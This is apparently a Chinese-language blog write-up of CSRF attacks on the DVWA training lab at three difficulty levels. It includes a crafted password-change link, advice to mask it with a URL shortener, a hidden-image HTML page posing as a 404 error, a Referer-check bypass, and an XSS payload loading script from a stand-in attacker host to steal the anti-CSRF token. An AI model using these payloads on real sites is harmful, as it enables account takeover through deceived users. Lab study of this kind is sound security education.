一、概念
CSRF是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或访问包含攻击代码的页面,在受害者不知情的情况下以受害者身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别在于,CSRF没有盗取cookie,而是直接利用。
二、Low级别
1.代码审计
我们可以看见,Low级别的代码,只进行了两次密码比对,如果成功就直接修改。
2.漏洞测试
我们首先进行一次正常的修改密码访问
我们可以看到地址栏变为了如下的内容
即:
http://DVWA服务器IP地址/DVWA-master/vulnerabilities/csrf/?password_new=新密码&password_conf=重复输入新密码&Change=Change#
这说明,我们只要提交访问该地址,就可以自动将密码变更。
于是,我们对该段链接进行修改:
http://192.168.3.133/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
我们将修改过的链接发送给受害者,受害者只要在他身份信息有效期内,点击该链接,就会自动更改密码。
同时,我们可以将该链接提交到短链接服务,通过缩短域名掩饰攻击意图。
3.漏洞试用
下面,我们进行测试。
我们对该链接进行访问,得到如下反馈。
下面我们登出测试一下。猴子君将密码输入栏的type属性改为了text,将密码明文显示。这个时候点击Login系统没有反应。
我们输入123456密码,发现成功登陆,这样Low级别的CSRF就完成了。
三、medium级别
1.代码审计
stripos(str1,str2)函数返回字段中str1在str2中第一次出现的位置,该段代码则是查询http的Referer参数是否出现搭载DVWA的服务器主机名(即IP地址)。cmd ipconfig获取
这个函数只检测是否出现该内容,但却不检测是否真实,如果文件名中含有该IP地址,则可以直接绕过。
2.漏洞测试
我们构建一个网页
<html>
<head>
</head>
<body>
<img src="http://192.168.3.133/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none"/>
<h1>404</h1>
<h2>Not Found</h2>
</body>
</html>
然后将网页的名称修改为 IP.html(搭载DVWA服务器的IP地址)
然后将该文件上传到DVWA服务器上,这里猴子君把文件上传到了csrf的目录内
于是,构建攻击链接:http://192.168.3.133/DVWA-master/vulnerabilities/csrf/192.168.3.133.html
当我们将该链接发送给受害者时,受害者只要点击该链接就可以将密码修改为123456
3.测试一下
打开该链接,发现是404界面
返回去登录发现原来的密码无法登录了,改为123456可以正常登录。
这样,medium级别的CSRF攻击就完毕了。
四、high级别
1.代码审计
high级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。我们先前的两种方式在这里已经不能使用了,我们需要利用存储型xss和csrf结合起来才可以进行攻击。
这里猴子君放一个大佬的教程
https://www.cnblogs.com/yyxianren/p/11381285.html
整体思路是要结合xss存储型漏洞打组合拳。
通过在黑客服务器写一个js脚本来获取token,然后将token拼接到提交修改密码的请求中。
通过如下链接,引用黑客服务器的js脚本,进而进行改密。
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script src="http://www.hack.com/xss.js"></script>
这里,猴子君对js研究水平尚浅,暂时不做细致讲解。等猴子君将这个原理研究明白,再来更新这篇文章。